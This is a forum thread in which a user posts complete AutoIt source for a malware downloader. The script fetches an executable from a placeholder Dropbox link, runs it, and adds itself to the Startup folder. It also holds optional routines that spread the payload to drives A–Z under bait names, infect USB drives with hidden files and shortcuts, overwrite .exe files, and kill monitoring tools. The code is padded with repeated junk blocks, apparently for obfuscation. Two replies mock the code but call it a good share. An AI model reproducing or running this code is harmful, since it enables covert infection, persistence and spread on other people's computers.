AutoIT Auto dowload e execute au3

H4ckCoder · Aug 18, 2015

[HIDE-THANKS]

#comments-start
Coloque o link de seu server onde tem LINK DE SEU DROPBOX AQUI e não removar as ""
#comments-end
#NoTrayIcon
Global $Url = "LINK DE SEU DROPBOX AQUI"
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Name = "Sever.Exe"
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Install = @TempDir
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Copy = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Startup = "Security.Exe"
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $USB_Spread = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Exe_Spread = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Anti_ProcessExplorer = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Anti_ProcessHacker = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Anti_apateDNS = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Anti_SpyTheSpy = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Anti_CCleaner = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Anti_cports = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Anti_TaskMangaer = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Anti_TCPEye = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $Anti_SpeedGear = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $MsgBox = False
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $TitleMsg = "@Title@"
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Global $TextMsg = "@Text@"
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
$DIR1 = $Install & "\" & $Name
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
InetGet($Url,$Install & "\" & $Name,0)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Startup(True,$Startup)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
sleep(11)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
ShellExecute($Install & "\" & $Name)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Copy = True Then
Drive($DIR1)
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
If $USB_Spread = True Then
USBSp()
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
If $Exe_Spread = True Then
ExeSP(@TempDir)
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Anti_ProcessExplorer = True Then
ProcessClose("procexp.exe")
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Anti_ProcessHacker = True Then
ProcessClose("ProcessHacker.exe")
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Anti_apateDNS = True Then
ProcessClose("apateDNS.exe")
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Anti_SpyTheSpy = True Then
ProcessClose("SpyTheSpy.exe")
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Anti_CCleaner = True Then
ProcessClose("CCleaner.exe")
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Anti_cports = True Then
ProcessClose("cports.exe")
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Anti_TaskMangaer = True Then
ProcessClose("taskmgr.exe")
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Anti_TCPEye = True Then
ProcessClose("TCPEye.exe")
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $Anti_SpeedGear = True Then
ProcessClose("SpeedGear.exe")
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $MsgBox = True Then
MsgBox(0,$TitleMsg,$TextMsg)
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Func Drive($DIR)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "A:\MyPhoto.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "B:\Important.pif", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "D:\Secrit.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "E:\Theking.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "F:\OMG.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "G:\WTF.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "H:\itsMe.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "I:\MyGirl.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "J:\Sexy.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "K:\18+.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "L:\Update.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "M:\WoW.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "N:\4you.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "O:\Passwords.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "P:\MyPasswords.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "Q:\MyData.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "R:\BirthDaypic.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "S:\SecritData.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "T:\Secritfile.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "U:\FacebookPass.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "V:\EmailandPass.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "W:\Don'tOpen.scr", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "X:\Crack.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "Y:\Xfiles..exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy($DIR , "Z:\Privet.exe", 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
EndFunc
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Func USBSp()
;~ ;-------------------;
;==> USB Spread
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "REG_DWORD", 2)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Local $DRemovable = DriveGetDrive("Removable")
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
For $i = 1 To UBound($DRemovable) - 1
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Local $GetFullPath = StringUpper($DRemovable[$i]) & "\"
$Files = _FileListToArray($DRemovable[$i], "*.*")
For $Link = 1 To UBound($Files) - 1
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF StringInStr($Files[$Link], ".lnk") = False Then
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileSetAttrib($GetFullPath & $Files[$Link], "+SHR")
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCreateShortcut($GetFullPath & $Files[$Link], $GetFullPath & $Files[$Link] & ".lnk")
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Next
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
_ArrayDelete($Files, 0)
_ArraySort($Files);
Next
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
;==> USB Spread
;~ ;---
----------------;
EndFunc
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Func ExeSP($Path)
$Folders = _FileListToArray($Path, "*.exe")
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
For $ExeF = 1 To UBound($Folders) - 1
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy(@ScriptFullPath, $Path & "\" & $Folders[$ExeF], 1)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Next
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
_ArrayDelete($Folders, 0)
_ArraySort($Folders);
EndFunc
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Func Startup($OnOrOff , $Name)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF $OnOrOff = True Then
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
IF FileExists(@StartupDir & "\" & $Name) Then
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileDelete(@StartupDir & "\" & $Name)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
FileCopy(@ScriptFullPath,@StartupDir & "\" & $Name)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
Else
FileCopy(@ScriptFullPath,@StartupDir & "\" & $Name)
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
EndIF
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf
EndFunc
$MrJokerjuck = 234
If $MrJokerjuck = 90 Then
MsgBox(0 , "" , "")
EndIf

Code:

&gt;

[/HIDE-THANKS]

0b3y · Aug 18, 2015

Re: Auto dowload e execute au3

Dont know who coded but its a mess xD:dash1:

Diabl0 · Aug 18, 2015

Re: Auto dowload e execute au3

@Ob3y lol! Its worse than a mess... Too many lines of code for a function you can code with just a few lines.

But good share 4 edu purposes.

IP Tools

Basic Encoders/Decoders

Hash Generators

Classical Ciphers

Modern Cryptography

Other Tools

AutoIT Auto dowload e execute au3

H4ckCoder

Made in DZ

0b3y

☢AutoIt c0d3r☢

Diabl0

_LvL.23|574FF_